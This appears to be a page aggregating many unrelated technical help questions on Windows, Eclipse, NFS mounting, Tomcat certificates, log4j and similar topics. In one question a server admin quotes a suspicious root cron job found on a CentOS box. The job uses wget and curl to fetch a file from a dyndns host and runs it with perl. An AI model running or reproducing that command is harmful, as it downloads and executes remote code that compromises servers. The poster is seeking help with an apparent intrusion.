• How to force a "do you really want to shutdown?" dialog in Windows 7?

  - by Vokuhila-Oliba

  Sometimes I want to choose "Logout current user", but then I hit "Shutdown" by accident. Nearly everywhere else Windows 7 is asking "do you really want to do this? Yes/No" - but that's not the case when I hit the "Shutdown" button. Windows 7 shuts down immediately without giving me the chance to correct my mistake. So I am wondering - why does Windows shut down immediately without asking "really do that?" in this case? Is there a way to change this behavior? For example, could I force Windows to display a dialog asking "Do you really want to shutdown?"? I tried to change this behavior with the policy editor. It seems to be very easy to completely remove the Shutdown button from the Start menu, but I couldn't find an entry to turn on such a Yes/No dialog.

• How to output KML by GAE

  - by Niklas R

  Hi I use KML for a google map where entities have a geopt.db coordinate and soft memory limit was exceeded with 213.465 MB after servicing 1 requests total. The log says /list.kml 200 13130ms 10211cpu_ms 4238api_cpu_ms The file list.kml which outputs about 455,7 KB is a template as follows <?xml version="1.0" encoding="UTF-8"?><kml xmlns="http:// www.opengis.net/kml/2.2" xmlns:gx="http://www.google.com/kml/ext/2.2" xmlns:kml="http://www.opengis.net/kml/2.2" xmlns:atom="http:// www.w3.org/2005/Atom"> <Document>{% for a in list %} <Placemark> <name> </name> <description> <![CDATA[<a href="http://{{host}}/{{a.key.id}}"> {{ a.title }} </a> <br/>{{a.text}}]]> </description> <Style> <IconStyle> <Icon> <href> http://www.google.com/intl/en_us/mapfiles/ms/icons/green-dot.png </href> </Icon> </IconStyle> </Style> <Point> <coordinates> {{a.geopt.lon|floatformat:2}},{{a.geopt.lat|floatformat:2}} </coordinates> </Point> </Placemark> {% endfor %} </Document> </kml> Is there a memory leak in the template or the python that passes the list variable? Can I improve using other template engine or other framework than default? Is kmz compression a good idea in this case? Thanks in advance for any suggestion where or how to change the code.

• why won't Eclipse use the compiler I specify for my project?

  - by codeman73

  I'm using Eclipse 3.3. In my project, I've set the compiler compliance level to 5.0 In the build path for the project. I've added the Java 1.5 JDK in the Installed JREs section and am referencing that System Library in my project build path. However, I'm getting compile errors for a class that implements PreparedStatement for not implementing abstract methods that only exist in Java 1.6 PreparedStatement. Specifically, the methods setAsciiStream(int, InputStream, long) and setAsciiStream(int, InputStream) Strangely enough, it worked when we were compiling it against Java 1.4, which it was originally written for. We added the JREs for Java 1.4 and referenced that system library in the project, and set the project's compiler level to 1.4, and it works fine. But when I do the same changes to try to point to Java 5.0, it instead uses Java 6. Any ideas why? I wrote a similar question earlier, here: http://stackoverflow.com/questions/2540548/how-do-i-get-eclipse-to-use-a-different-compiler-version-for-java I know how you're supposed to choose a different compiler but it seems Eclipse isn't taking it. It seems to be defaulting to Java 6, even though I have deleted all Java 6 JDKs and JREs that I could find. I've also updated the -vm option in my eclipse.ini to point to the Java5 JDK.

• Trouble with NFS file sharing on Synology 211 NAS and Ubuntu Client

  - by Aglystas

  I'm attempting to set up NFS file sharing and keep getting the error mount.nfs: access denied by server while mounting 192.168.1.110:/myshared Here is the exact command I'm using to mount: sudo mount -o nolock 192.168.1.110:/myshared /home/emiller/MyShared I have set 'Enabled NFS' in DSM and set NFS priviledges in the the Shares section of the control panel. Here is the /etc/exports entry from the NAS: volume1/myshared 192.168.1.*(rw,sync,no_wdelay,no_root_squash,insecure_locks,anonuid=0,anongid=0) I read some things about the hosts.allow and hosts.deny but it seems like if they are empty they aren't used for anything. I can see the share when I run ... showmount -e 192.168.1.110 Any help would be appreciated in this matter.

• How to locate the line where a vim plugin error occurs: "Mapping not found"

  - by Mert Nuhoglu

  When I open gvim, it gives "Mapping not found" warning. I found out that the problem is related to the snipmates.vim plugin. But I can't locate where exactly in snipmates.vim file this error is produced. Is there a way to find out the exact cause? Note: gvim 7.2 runs on Windows XP. I found a solution advice in vim mail list. gvim -V20 2>&1 | tee logfile I run this command from command prompt but it doesn't output anything into the logfile. All the logs are written on the entry screen of gvim.

• IBM storage ds3400 Cant connect to management using fiber

  - by Eli B

  i have a problem with a DS3400 IBM storage system we bought a few years back. when i try to manage the storage using its IBM storage management i cant find it using automatic detection even though its connected directly using the fiber and i can see the Logical drives connected and working properly. when i tried to connect the two management Ethernet wires and manage the storage directly by entering the IP address manually i am able to connect however after i make several changes to the controller configuration one of the controllers stops responding and i am not able to ping it directly (since you cant make any changes without being connected to both controllers this is a problem) whats more bizarre is that when i change the IP of the controller that doesn't respond it starts working .. i have found some articles over the web explaining stuff about LUN31 being missing and causing similar problems however all my attempts to manually configure it failed . *link to an example http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5075711 in short im trying to get my storage to appear in the storage manager when directly connected using only the fiber cable directly attached. thanks in advance

• Linker, Libraries & Directories Information

  - by m00st

  I've finished both my C++ 1/2 classes and we did not cover anything on Linking to libraries or adding additional libraries to C++ code. I've been having a hay-day trying to figure this out; I've been unable to find basic information linking to objects. Initially I thought the problem was the IDE (Netbeans; and Code::Blocks). However I've been unable to get wxWidgets and GTKMM setup. Can someone point me in the right direction on the terminology and basic information about #including files and linking files in a Cpp application? Basically I want/need to know everything in regards to this process. The difference between .dll, .lib, .o, .lib.a, .dll.a. The difference between a .h and a "library" (.dll, .lib correct?) I understand I need to read the compiler documentation I am using; however all compilers (that I know of) use linker and headers; I need to learn this information. Please point me in the right direction! :] So far on my quest I've found out: Linker links libraries already compiled to your project. .a files are static libraries (.lib in windows) .dll in windows is a shared library (.so in *nix) Thanks

• Sun Java keytool importing EV certificates into a single keystore

  - by ss0

  At my current job we are using tomcat, customers have custom web portals setup on their own local machines. EV certs are new to me, they have 2 part intermediary and a primary certificate. For our product to work it appears I need to get all three parts installed under a single keystore entry. How can I roll all three parts into a single x.509 compliant file for import? They syntax I am using is as follows: /blah/system/j2sdk/bin/keytool -import -alias foo -keystore /zix/system/jdk1.5.0_06/jre/lib/security/cacerts -file certname.pem -trustcacerts where foo = the keystore name and certname.pem is the main cert. I have tried importing the intermediate certs under their own names into the keystore and I don't know if it's just the product I have to work with (not vanilla tomcat) or what but it doesn't see those. I have seen a working system and all three certs were under the single keystore alias. Anyone have any ideas?

• Performance of map overlay in conjunction with ItemizedOverlay is very poor

  - by oviroa

  I am trying to display one png (drawable) on a map in about 300 points. I am retrieving the coordinates from a Sqlite table, dumping them in a cursor. When I try to display them by parsing through the cursor, it takes for ever for the images to be drawn, about .5 second per image. I find that to be suspiciously slow, so some insight on how I can increase performance would help. Here is the snippet of my code that does the rendering: while (!mFlavorsCursor.isAfterLast()) { Log.d("cursor",""+(i++)); point = new GeoPoint( (int)(mFlavorsCursor.getFloat(mFlavorsCursor.getColumnIndex(DataBaseHelper.KEY_LATITUDE))*1000000), (int)(mFlavorsCursor.getFloat(mFlavorsCursor.getColumnIndex(DataBaseHelper.KEY_LONGITUDE))*1000000)); overlayitem = new OverlayItem(point, "", ""); itemizedoverlay.addOverlay(overlayitem); itemizedoverlay.doPopulate(); mFlavorsCursor.moveToNext(); } mapOverlays.add(itemizedoverlay); I tried to isolate all the steps and it looks like the slow one is this: itemizedoverlay.doPopulate(); This is a public method in my class that extends ItemizedOverlay that runs the private populate() method.

• Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

  - by sr_1436048

  I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root: cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc* I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry. The only thing I can think of is I recently installed Varnish Cache following this tutorial. Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

• Virtualhost setup, same IP address, different DirectoryIndex's

  - by kaykills

  I am trying to set up 2 virtual host entries in apache but I'm not sure how to accomplish what I want to do. I have two domain names, both pointing to the same IP Address. I need the DirectoryIndex to be different, which is pretty much the only difference in the entries. I have the following set up: <VirtualHost *:80> ServerName firstdomain.com ServerAdmin [email protected] DocumentRoot "/srv/www" DirectoryIndex /portals/site/index.html </VirtualHost> <VirtualHost *:80> ServerName seconddomain.com ServerAdmin [email protected] DocumentRoot "/srv/www" DirectoryIndex /portals/site/index_fr.html </VirtualHost> Not sure what I need to do differently but the second entry doesn't work. The only real difference is I need the second domain to point to a different DirectoryIndex. If there is a better way to accomplish this, your help would be appreciated.

• Side by side madness - running binaries on different computer (with a twist)

  - by sbk

  Here's my configuration: Computer A - Windows 7, MS Visual Studio 2005 patched for Win7 compatibility (8.0.50727.867) Computer B - Windows XP SP2, MS Visual Studio 2005 installed (8.0.50727.42) My project has some external dependencies (prebuilt DLLs - either build on A or downloaded from the Internet), a couple of DLLs built from sources and one executable. I am mostly developing on A and all is fine there. At some point I try to build my project on computer B, copying the prebuilt DLLs to the output folder. Everything builds fine, but trying to start my application I get The application failed to initialize properly (0xc0150002).... The event log contains two of those: Dependent Assembly Microsoft.VC80.CRT could not be found and Last Error was The referenced assembly is not installed on your system. plus the slightly more amusing Generate Activation Context failed for some.dll. Reference error message: The operation completed successfully. At this point I'm trying my Google-Fu, but in vain - virtually all hits are about running binaries on machines without Visual Studio installed. In my case, however, the executables fail to run on the computer they are built. Next step was to try dependency walker and it baffled me even more - my DLLs built from sources on the same box cannot find MSVCR80.DLL and MSVCP80.DLL, however the executable seems to be alright in respect to those two DLLs i.e. when I open the executable with dependency walker it shows that the MSVC?80.DLLs can be found, but when I open one of my DLLs it says they cannot. That's where I am completely out of ideas what to do so I'm asking you, dear stackoverflow :) I admit I'm a bit blurry on the whole side-by-side thing, so general reading on the topic will also be appreciated.

• Adding multiple rss feeds to a script in SCALA InfoChannel Designer 5

  - by godleuf

  Okay, since it is impossible to talk to anyone on the phone or get support through Scala's "forum", I am going to take a shot and see if anyone out there is feeling my pain. I have a client that uses Scala's InfoChannel Designer and Content Manager. I have had to learn this software from scratch and I have to say it hasn't been easy. I think I am at a point where the overall design is set, but I need to implement a couple of things before I can make this happen. RSS feeds are my issue at this point. Multiple RSS feeds to be specific. I need a feed coming in for 3 areas of content: Wiki News (or equivalent), local weather and a stock ticker. I have learned how to setup a "crawl" using a script example available from Scala's file center and copying and pasting into my design. But from what I have learned first hand and through reading through other forums, you can not have a feed from 3 different sources or urls happening simultaneously. Doesn't seem like it would be an issue, but apparently it is. This small step has held up this project for far too long and I need to get it figured out. This doesn't even touch on my issue of feeding in streaming video as a background but I have gone over this in another question but with no luck thus far. If there is ANYONE out there who is in anything similar using this software, your feedback and/or suggestions would be greatly appreciated. Thanks you for allowing me to vent!

• A question about DOM parser used with Python

  - by fixxxer

  I'm using the following python code to search for a node in an XML file and changing the value of an attribute of one of it's children.Changes are happening correctly when the node is displayed using toxml().But, when it is written to a file, the attributes rearrange themselves(as seen in the Source and the Final XML below). Could anyone explain how and why this happen? Python code: #!/usr/bin/env python import xml from xml.dom.minidom import parse dom=parse("max.xml") #print "Please enter the store name:" for sku in dom.getElementsByTagName("node"): if sku.getAttribute("name") == "store": sku.childNodes[1].childNodes[5].setAttribute("value","Delhi,India") print sku.toxml() xml.dom.ext.PrettyPrint(dom, open("new.xml", "w")) a part of the Source XML: <node name='store' node_id='515' module='mpx.lib.node.simple_value.SimpleValue' config_builder='' inherant='false' description='Configurable Value'> <match> <property name='1' value='point'/> <property name='2' value='0'/> <property name='val' value='Store# 09204 Staten Island, NY'/> <property name='3' value='str'/> </match> </node> Final XML : <node config_builder="" description="Configurable Value" inherant="false" module="mpx.lib.node.simple_value.SimpleValue" name="store" node_id="515"> <match> <property name="1" value="point"/> <property name="2" value="0"/> <property name="val" value="Delhi,India"/> <property name="3" value="str"/> </match> </node>

• Win7 OpenSSH config: no address associated with name

  - by Jonah

  I am using OpenSSH on win7. My home dir is C:\Users\JG, and inside that dir I have the file C:\Users\JG\.ssh\config, with these contents: Host <redacted server ip here> HostName digitalocean_git User git IdentityFile ~/.ssh/digitalocean_moocho/id_rsa The id file pointed to by the "IdentityFile" entry works, as I use it just fine via putty, but for this problem I am trying to get command line OpenSSH working. The crux of the problem is explained by this output: >ssh -v digitalocean_git OpenSSH_4.6p1, OpenSSL 0.9.8e 23 Feb 2007 debug1: Reading configuration data /c/Users/JG/.ssh/config ssh: digitalocean_git: no address associated with name Why is no address associated with the name?

• Ruby array, javascript and json issue

  - by JohnMerlino

  Hey all, I am unable to get a highcharts plugin to render a chart in a rails application: http://github.com/loudpixel/highcharts-rails I believe it has something to do with the sql queries to the database placed in a ruby array, which the javascript is unable to intepret. This is what I have: def panels pass = Student.find_by_sql('SELECT COUNT(*) FROM students WHERE student_state = 1') fail = Student.find_by_sql('SELECT COUNT(*) FROM students WHERE student_state = 2') student_data = [ {:name => 'Pass', :y => pass}, {:name => 'Fail', :y => fail} ] pie_label_formatter = ' function() { if (this.y > 15) return this.point.name; }' pie_tooltip_formatter = ' function() { return "<strong>" + this.point.name + "</strong>: " + this.y + " %"; }' @pie_chart = Highchart.pie({ :chart => { :renderTo => "pie-chart-container", :margin => [50, 30, 0, 30] }, :plotOptions => { :pie => { :dataLabels => { :formatter => pie_label_formatter, :style => { :textShadow => '#000000 1px 1px 2px' } } } }, :series => [ { :type => 'pie', :data => student_data } ], :subtitle => { :text => 'April 2010' }, :title => { :text => 'Student Status Chart' }, :tooltip => { :formatter => pie_tooltip_formatter }, }) Note if I put this: :data = student_data.to_json It actually returns a json string of my query as text in the browser. Also, if I hard code values (e.g. :y = 1), it will render the chart properly. However, any database query will not render the chart properly. So I'm not sure exactly what the issue is. Any suggestions? Thanks.

• TFS Folders - Getting them to work like Subversion "Trunk/Tags/Branches"

  - by Sam Schutte

  I recently started using Team Foundation Server, and am having some trouble getting it to work the way I want it to. I've used Subversion for a couple years now, and love the way it works. I always set up three folders under each project, Trunk, Tags, and Branches. When I'm working on a project, all my code lives under a folder called "C:\dev\projectname". This "projectname" folder can be made to point to either trunk, or any of the branches or tags using Subversion (with the switch command). Now that I'm using TFS (my client's system), I'd like things to work the same way. I created a "Trunk" folder with my project in it, and mapped "Project/Trunk/Website" to "c:\dev\Website". Now, I want to make a release under the "tags" folder (located in "Project/Tags/Version 1.0/Website", and TFS is giving me the following error when I execute the branch command: "No appropriate mapping exists for $Project/tags/Version 1.0/Website" From what I can find on the internet, TFS expects you to have a mapping to your hard drive at the root of the project (the "Project" folder in my case), and then have all the source code that lives in trunk, tags and branches all pulled down to your hard drive. This sucks because it requires way too much stuff on your hard drive, and even worse, when you are working in a solution in Visual Studio, you won't be able to pull down "Version 2.0" and have all your project references to other projects work, because they'll all be pointing to "trunk" folders under the main folder, not just the main folder itself. What I want to do is have the root "Project/Website" folder on my hard drive, and be able to have it point to (mapped to) either tags, branches, or trunk, depending on what i'm doing, without having to screw around with fixing Visual Studio project references. Ideas?

• Write permission when mounting Windows shares from Ubuntu

  - by Ola Tuvesson

  I think I'm close to having my dev environment set up exactly the way I want, but one final snag remains. I'm running VirtualBox on a Windows 7 64bit host, with my dev enviroment inside a Ubuntu 12.04 guest. I want to keep the files for my projects on the host filesystem - partly so I can access them when the Ubuntu guest is not running, but also so I can use Tortoise and other Windows based tools (cough Photoshop), and it also eases my backup scheme somewhat. So I've got a folder "Rails" on my NTFS drive, which I've shared from the host with a user specifically created for the Ubuntu guest. The mount point has been set up and an entry added to fstab (cifs), using a credentials file and the options iocharset=utf8,file_mode=0777,dir_mode=07??77 This mounts fine and my Ubuntu user has both read and write permissions to the contents, but when I try to start my Rails app I get permission errors on any files the app needs to write to (e.g. the log file). What gives?

• C++ Returning Multiple Items

  - by Travis Parks

  I am designing a class in C++ that extracts URLs from an HTML page. I am using Boost's Regex library to do the heavy lifting for me. I started designing a class and realized that I didn't want to tie down how the URLs are stored. One option would be to accept a std::vector<Url> by reference and just call push_back on it. I'd like to avoid forcing consumers of my class to use std::vector. So, I created a member template that took a destination iterator. It looks like this: template <typename TForwardIterator, typename TOutputIterator> TOutputIterator UrlExtractor::get_urls( TForwardIterator begin, TForwardIterator end, TOutputIterator dest); I feel like I am overcomplicating things. I like to write fairly generic code in C++, and I struggle to lock down my interfaces. But then I get into these predicaments where I am trying to templatize everything. At this point, someone reading the code doesn't realize that TForwardIterator is iterating over a std::string. In my particular situation, I am wondering if being this generic is a good thing. At what point do you start making code more explicit? Is there a standard approach to getting values out of a function generically?

• Disable spell checking in IE 11 (Win 8.1)

I copied it from here because I own a German Version and I therefore thought that an English one would be simpler to understand.) I turned both options off and tried to restart IE. It's still "correcting" my texts. Searching for 'spelling correction' addons As said in the picture, this entry does not exist on my PC. (The following screenshot is taken from here) Is there any way of disabling it? I prefer an "official" solution if one is available. Otherwise, I also take any registry involving Solutions.

• Copssh, how to add users?

  - by Ken

  I installed copssh on Windows Vista (64-bit) here, and the installation seemed to go fine. It requires you to explicitly add users to log in, which is fine, so I opened the COPSSH Control Panel (really just an app), went to the Users tab, clicked Add, Forward, and the "User:" popup is empty. The "Domain:" popup has exactly one entry: my computer name. The "Documentation" shortcut in the start menu group is broken, but I found the folder it's supposed to point to, and I only see docs for command-line tools (which I'll investigate next). Is there something I'm missing? Is the COPSSH Control Panel just plain broken?

• Unexplained crashs with coregraphic

  Hello there, i'm on this bug for a week now, and i can't solve it. I have some crash with coregraphic calls, it happen randomly (sometimes after 2 mn, or just at the start), but often at the same places in the code. I have a class that just wrap a CGContext, it have a CGContextRef as member. This Object is re-created each time DrawRect() is called, so the CGContextRef is always up-to-date. The draw calls came from the main thread, only After looking for this kind of error, it appear that it should be object Release related.

• Why aren't my coordinates matching my JFrame size?

  - by AsLanFromNarnia

  I want to do some drawing in a JPanel but the enclosing JFrame size doesn't seem to match where I've asked the coordinates to be drawn. In my example code, the JFrame size is set to (700, 700) and the last point is drawn at (600, 600). I would expect this point to be drawn 100 pixels away from the right and bottom edges but it isn't (please see screenshot). Here's the code I'm using: import java.awt.Graphics; import javax.swing.JFrame; import javax.swing.JPanel; public class Scratch extends JPanel { static int frameWidth = 700; static int frameHeight = 700; public static void main(String[] args) { JFrame frame = new JFrame(); frame.setSize(frameWidth, frameHeight); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); Scratch scratch = new Scratch(); frame.getContentPane().add(scratch); frame.setVisible(true); } @Override public void paintComponent(Graphics g) { g.drawRect(100, 100, 1, 1); g.drawString("100", 100, 100); g.drawRect(200, 200, 1, 1); g.drawString("200", 200, 200); g.drawRect(300, 300, 1, 1); g.drawString("300", 300, 300); g.drawRect(400, 400, 1, 1); g.drawString("400", 400, 400); g.drawRect(500, 500, 1, 1); g.drawString("500", 500, 500); g.drawRect(600, 600, 1, 1); g.drawString("600", 600, 600); } }

• java logging nightmare and log4j not behaving as expected with spring + tomcat6

  - by maverick

  I have a spring application that has configured log4j (via xml) and that runs on Tomcat6 that was working fine until we add a bunch of dependencies via Maven. At some point the whole application just started logging part of what it was supposed to be declared into the log4.xml "a small rant here" Why logging has to be that hard in java world? why suddenly an application that was just fine start behaving so weird and why it's so freaking hard to debug? I've been reading and trying to solve this issue for days but so far no luck, hopefully some expert here can give me some insights on this I've added log4j debug option to check whether log4j is taking reading the config file and its values and this is what part of it shows log4j: Level value for org.springframework.web is [debug]. log4j: org.springframework.web level set to DEBUG log4j: Retreiving an instance of org.apache.log4j.Logger. log4j: Setting [org.compass] additivity to [true]. log4j: Level value for org.compass is [debug]. log4j: org.compass level set to DEBUG As you can see debug is enabled for compass and spring.web but it only shows "INFO" level for both packages. My log4j config file has nothing out of extraordinary just a plain ConsoleAppender <log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"> <!-- Appenders --> <appender name="console" class="org.apache.log4j.ConsoleAppender"> <param name="Target" value="System.out" /> <layout class="org.apache.log4j.PatternLayout"> <param name="ConversionPattern" value="%-5p: %c - %m%n" /> </layout> </appender> What's the trick to make this work? What it's my misunderstanding here? Can someone point me in the right direction and explain how can I make this logging mess more bullet proof?
